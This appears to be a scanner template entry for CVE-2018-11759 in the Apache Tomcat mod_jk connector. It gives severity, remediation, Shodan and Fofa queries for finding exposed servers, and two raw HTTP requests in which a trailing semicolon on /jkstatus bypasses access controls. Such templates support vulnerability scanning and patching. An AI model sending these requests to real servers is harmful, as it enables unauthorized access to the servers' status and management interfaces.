| Title | Apache Tomcat JK Connect <=1.2.44 - Manager Access |
|---|---|
| Author | harshbothra_ |
| Severity | High |
| Impact | Unauthenticated attackers can gain unauthorized access to the Apache Tomcat Manager interface, potentially leading to further compromise of the server. |
| Remediation | Upgrade to a patched version of Apache Tomcat JK Connect (1.2.45 or higher) or apply the recommended security patches. |
| CVSS Score | 7.5 |
| EPSS Score | 0.94254 |
| CVE ID | CVE-2018-11759 |
| CWE ID | CWE-22 |
| Shodan Query | title:"Apache Tomcat"http.title:"apache tomcat" |
| Fofa Query | title="apache tomcat" |
| Tags | cve2018 cve apache tomcat httpd mod-jk vkev vuln |
Apache Tomcat JK (mod_jk) Connector 1.2.0 to 1.2.44 allows specially constructed requests to expose application functionality through the reverse proxy. It is also possible in some configurations for a specially constructed request to bypass the access controls configured in httpd. While there is some overlap between this issue and CVE-2018-1323, they are not identical.
GET /jkstatus HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /jkstatus; HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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